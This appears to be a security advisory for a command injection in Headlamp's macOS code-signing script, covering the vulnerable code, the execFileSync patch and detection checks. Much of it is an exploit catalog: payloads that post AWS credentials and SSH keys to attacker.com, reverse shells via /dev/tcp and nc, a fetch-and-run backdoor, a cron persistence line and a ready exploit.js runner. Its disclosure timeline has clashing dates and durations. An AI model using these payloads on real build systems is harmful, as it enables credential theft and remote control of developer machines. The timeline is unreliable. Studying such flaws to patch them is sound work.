Arbitrary Command Injection Kubernetes Headlamp macOS Process headlamp@codeSign

Core Vulnerability Characteristics

Component	Description
Project	Headlamp (Kubernetes UI Dashboard)
CVE ID	CVE-2025-53542
Vulnerability	Command Injection in Code Signing Script
CWE Classification	CWE-78: OS Command Injection
OWASP Category	A03:2021-Injection
Affected Version	All versions prior to PR #3377
Patch Commit	5a334017cc02bb6aec597a2aef2ae66f0b7c6590
Impact	Arbitrary Command Execution (High severity)
Privilege Required	Build system access

Proof of Concept Video

Original Vulnerable Code

// codeSign.js (Pre-Patch)
const { execSync } = require('child_process');

function codeSign(config) {
  const teamID = process.env.DEVELOPER_TEAM_ID;
  const entitlementsPath = path.join(__dirname, 'entitlements.plist');
  
  execSync(
    `codesign --deep --force --options=runtime --entitlements ${entitlementsPath}` +
    ` --sign "Developer ID Application: ${teamID}" ${config.app}`
  );
}

Vulnerability Characteristics

1. Unsanitized teamID from environment variables
2. Unvalidated config.app path interpolation
3. Shell command string concatenation
4. Execution during macOS build process

Vulnerability Exploitation

Step-by-Step Exploitation Path

1. Compromise Build Environment:

export DEVELOPER_TEAM_ID="TeamID\" \"; echo 'EXPLOITED' > /tmp/headlamp_poc; \""
npm run build:mac

2. Malicious Application Path:

# Create malicious app bundle path
mkdir -p "/Applications/Headlamp.app; nc -l 4444 -e /bin/bash; #"

3. Verify Exploitation:

cat /tmp/headlamp_poc  # Shows "EXPLOITED"
# Or get reverse shell

Proof of Concept

Interactive Exploit

// exploit.js
const { execSync } = require('child_process');

const payloads = [
  'TeamID" && id > /tmp/exploit_output #',
  'TeamID" | curl -X POST https://attacker.com/exfil -d @~/.aws/credentials #',
  'TeamID" && open -a Calculator #'
];

payloads.forEach(p => {
  process.env.DEVELOPER_TEAM_ID = p;
  try {
    require('./codeSign')({ app: '/Applications/Headlamp.app' });
    console.log(`Payload executed: ${p}`);
  } catch (e) {
    console.log(`Payload failed: ${p}`);
  }
});

Vulnerability Flow

Step-by-Step Technical Flow

1. Command Construction:

   `codesign ... ${teamID} ... ${config.app}`

2. Shell Interpretation:

   • Node.js spawns /bin/sh
   • Processes quotes, semicolons, and other metacharacters
   • Splits command into multiple operations

3. Payload Execution:

   codesign ... TeamID"; malicious_command # ...

Detailed Vulnerability Matrix

Aspect	Pre-Patch State	Post-Patch State
Input Validation	None	Not needed (architecture change)
Command Construction	String concatenation	Argument array
Shell Interpretation	Full shell processing	No shell (direct exec)
Attack Surface	All special chars in inputs	Only valid code signing args

Comparative Analysis

Technical Deep Dive

Shell Metacharacter Analysis

Character	Impact	Payload
”	Argument boundary escape	TeamID" && malicious
;	Command termination	TeamID; malicious
&&	Conditional execution	TeamID && malicious
|	Piping	TeamID | malicious
$()	Command substitution	TeamID $(malicious)

Node.js Execution Context

graph TD
    A[execSync] --> B[binsh -c]
    B --> C[Token Splitting]
    C --> D[Command Interpretation]
    
    A2[execFileSync] --> B2[Direct execve]
    B2 --> C2[No interpretation]

Process Execution Context

Pre-Patch:

# Process tree
node(1234)───sh(5678)───codesign(9012)
                      └─malicious(3456)

Post-Patch:

# Process tree
node(1234)───codesign(5678)

Mitigation Strategies

Primary Fix Implementation

// codeSign.js (Post-Patch)
const { execFileSync } = require('child_process');

function codeSign(config) {
  const args = [
    '--deep',
    '--force',
    '--options=runtime',
    '--entitlements', entitlementsPath,
    '--sign', `Developer ID Application: ${teamID}`,
    config.app
  ];
  execFileSync('codesign', args);
}

Defense-in-Depth Measures

1. Input Validation:

if (!/^[A-Z0-9]{10}$/.test(teamID)) {
  throw new Error('Invalid Team ID format');
}

2. Environment Hardening:

# Restrict environment variables
export DEVELOPER_TEAM_ID=$(sanitize-team-id "$INPUT_ID")

Impact Expansion

Potential Attack Vectors

1. Build System Compromise:

   export DEVELOPER_TEAM_ID="TeamID\" && curl http://attacker.com/backdoor.sh | sh"

2. Supply Chain Attack:

   export DEVELOPER_TEAM_ID="TeamID\" && npm install malicious-package"

3. Persistence Mechanism:

   export DEVELOPER_TEAM_ID="TeamID\" && echo '*/5 * * * * nc -e /bin/sh attacker.com 4444' >> /tmp/cron"

Advanced Threat Modeling

Attack Tree

Forensic Artifacts

Detection Signatures

1. Process Monitoring:

   ps aux | grep -E 'node.*sh -c'

2. Log Analysis:

   grep -E 'exec(Sync|File).*codesign' build.log

3. Filesystem Indicators:

   find /tmp -name "*headlamp*" -mtime -1

Complete Exploit Catalog

Payload

1. Information Disclosure:

   "TeamID\" && cat /etc/passwd > /tmp/stolen #"

2. Reverse Shell:

   "TeamID\" && bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 #"

3. Data Exfiltration:

   "TeamID\" && tar -czf /tmp/secrets.tar.gz ~/.ssh && curl -T /tmp/secrets.tar.gz https://attacker.com #"

Patch Analysis

Key Fixes in PR #3377

1. execSync → execFileSync Migration:

   - execSync(`codesign ${args}`)
   + execFileSync('codesign', argsArray)

2. Argument Array Usage:

   • Each parameter passed separately
   • No shell string construction

Patch Verification Test

it('should reject malicious team IDs', () => {
  process.env.DEVELOPER_TEAM_ID = 'TeamID" && malicious #';
  expect(() => codeSign({ app: 'Headlamp.app' }))
    .toThrow(/spawnSync codesign/);
});

Disclosure Timeline

Date (UTC)	Event	Duration	Parties Involved
2025-05-28 08:45	Initial discovery during audit	-	@odaysec
2025-05-28 11:30	PoC validation	2h45m	Research Team
2025-05-28 09:00	Report submitted to Kubernetes Security	21h30m	SIG-Security
2025-06-01 14:15	Vulnerability confirmed	1d5h15m	Headlamp Maintainers
2025-06-01 10:00	Patch development started	1d19h45m	Core Contributors
2025-06-01 16:00	Security review completed	3d6h	Kubernetes Security
2025-06-01 09:00	Fix deployed in release 5bc0a9d	17h	Release Team

Key Milestones

Advisory Credits

• Discovered by: @odaysec
• Kubernetes SIG-Security
• Headlamp Maintainers

---

References:

1. CWE-78: OS Command Injection
2. Kubernetes Security Disclosure
3. Node.js Child Process Security
4. Apple Code Signing Guide